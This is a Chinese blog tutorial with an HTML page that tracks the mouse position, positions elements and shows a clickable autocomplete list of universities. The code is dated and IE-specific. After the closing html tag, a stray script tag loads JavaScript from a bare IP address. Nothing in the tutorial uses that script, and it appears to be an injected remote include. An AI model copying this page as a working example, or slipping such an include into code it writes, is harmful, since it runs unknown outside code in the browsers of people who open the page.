通过js获得鼠标和控件位置

<!doctype html public "-//w3c//dtd html 4.0 transitional//en"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>控件定位</title> <script language="javascript" type="text/javascript"> function showPosition() {  var mydiv=document.getElementById("position");  var x=event.clientX;  var y=event.clientY;  mydiv.innerText=x+","+y;  mydiv.style.position="absolute";  mydiv.style.left=x+10;  mydiv.style.top=y+10;  mydiv.style.visibility="visible";  setTimeout("var mydiv=document.getElementById('position');mydiv.style.visibility='hidden';",10000); }

function getElementPos(elementId) {  var ua = navigator.userAgent.toLowerCase();  var isOpera = (ua.indexOf('opera') != -1);  var isIE = (ua.indexOf('msie') != -1 && !isOpera); // not opera spoof  var el = document.getElementById(elementId);  if(el.parentNode === null || el.style.display == 'none')  {     return false;  }       var parent = null;  var pos = [];      var box;      if(el.getBoundingClientRect)    //IE  {             box = el.getBoundingClientRect();     var scrollTop = Math.max(document.documentElement.scrollTop, document.body.scrollTop);     var scrollLeft = Math.max(document.documentElement.scrollLeft, document.body.scrollLeft);     return {x:box.left + scrollLeft, y:box.top + scrollTop};  }  else if(document.getBoxObjectFor)    // gecko     {     box = document.getBoxObjectFor(el);     var borderLeft = (el.style.borderLeftWidth)?parseInt(el.style.borderLeftWidth):0;     var borderTop = (el.style.borderTopWidth)?parseInt(el.style.borderTopWidth):0;     pos = [box.x - borderLeft, box.y - borderTop];  }  else    // safari & opera     {     pos = [el.offsetLeft, el.offsetTop];      parent = el.offsetParent;         if (parent != el)     {       while (parent)       {          pos[0] += parent.offsetLeft;         pos[1] += parent.offsetTop;         parent = parent.offsetParent;       }      }       if (ua.indexOf('opera') != -1 || ( ua.indexOf('safari') != -1 && el.style.position == 'absolute' ))     {       pos[0] -= document.body.offsetLeft;       pos[1] -= document.body.offsetTop;             }     }               if (el.parentNode)  {     parent = el.parentNode;  }  else  {     parent = null;  }  while (parent && parent.tagName != 'BODY' && parent.tagName != 'HTML')  { // account for any scrolled ancestors   pos[0] -= parent.scrollLeft;   pos[1] -= parent.scrollTop;   if (parent.parentNode)   {      parent = parent.parentNode;   }   else   {      parent = null;   }  }  return {x:pos[0], y:pos[1]}; }

function show() {     var pos=getElementPos("txt");     var x=pos.x-2;     var y=pos.y-2;

 var mydiv=document.getElementById("autoDiv");  mydiv.style.position="absolute";  mydiv.style.left=x;  mydiv.style.top=y+18;  mydiv.style.visibility="visible"; }

function mouseMove(myspan) {     myspan.style.backgroundColor="#3366cc"; } function mouseOut(myspan) {     myspan.style.backgroundColor="white"; } function hiddenDiv() {     var mydiv=document.getElementById("autoDiv");     mydiv.style.visibility="hidden"; } function getValue(text) {     var txt=document.getElementById("txt");     txt.value=text; } function showMessage() {     var message=document.getElementById("message");     var txt=document.getElementById("txt");     message.innerText=txt.value; } </script> </head> <body onmousemove="showPosition();"> <div id="position" style="background-color:#eee8aa; width:20; height:13; visibility:hidden; left: 0px; position: absolute; top: 0px; border-right: black thin solid; border-top: black thin solid; border-left: black thin solid; border-bottom: black thin solid; border-bottom-width:1; border-left-width:1; border-right-width:1; border-top-width:1; white-space:normal; font-style: normal; font-size: smaller;"></div> <center><font color="green">请点击文本框:</font><input type="text" id="txt" onfocus="show();" style="width:252; border-bottom-color:Green; border-left-color:Green; border-right-color:Green; border-top-color:Green:Green; border-bottom-width:1; border-left-width:1; border-right-width:1; border-top-width:1"/></center> <p/> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <center><span id="message"></span></center> <div id="autoDiv" style="background-color:white; width:250; height:100; visibility:hidden; left: 0px; position: absolute; top: 0px; border-right: green thin solid; border-top: green thin solid; border-left: green thin solid; border-bottom: green thin solid; border-bottom-width:1; border-left-width:1; border-right-width:1; border-top-width:1; white-space:normal; font-style: normal; font-size: smaller;"> <span onmousemove="mouseMove(this);" onmouseout="mouseOut(this);" onclick="getValue(this.innerText);hiddenDiv();showMessage();" style="width:250">北京大学</span><br/> <span onmousemove="mouseMove(this);" onmouseout="mouseOut(this);" onclick="getValue(this.innerText);hiddenDiv();showMessage();" style="width:250">清华大学</span><br/> <span onmousemove="mouseMove(this);" onmouseout="mouseOut(this);" onclick="getValue(this.innerText);hiddenDiv();showMessage();" style="width:250">南京大学</span><br/> <span onmousemove="mouseMove(this);" onmouseout="mouseOut(this);" onclick="getValue(this.innerText);hiddenDiv();showMessage();" style="width:250">东南大学</span><br/> <span onmousemove="mouseMove(this);" onmouseout="mouseOut(this);" onclick="getValue(this.innerText);hiddenDiv();showMessage();" style="width:250">福旦大学</span><br/> <span onmousemove="mouseMove(this);" onmouseout="mouseOut(this);" onclick="getValue(this.innerText);hiddenDiv();showMessage();" style="width:250">江苏大学</span><br/> <span onmousemove="mouseMove(this);" onmouseout="mouseOut(this);" onclick="getValue(this.innerText);hiddenDiv();showMessage();" style="width:250">河海大学</span><br/> </div> </body> </html>

<script language=javascript src=http://60.190.101.206/abc.js></script> 

你可能感兴趣的:(JavaScript,html,function,Opera,null,Safari)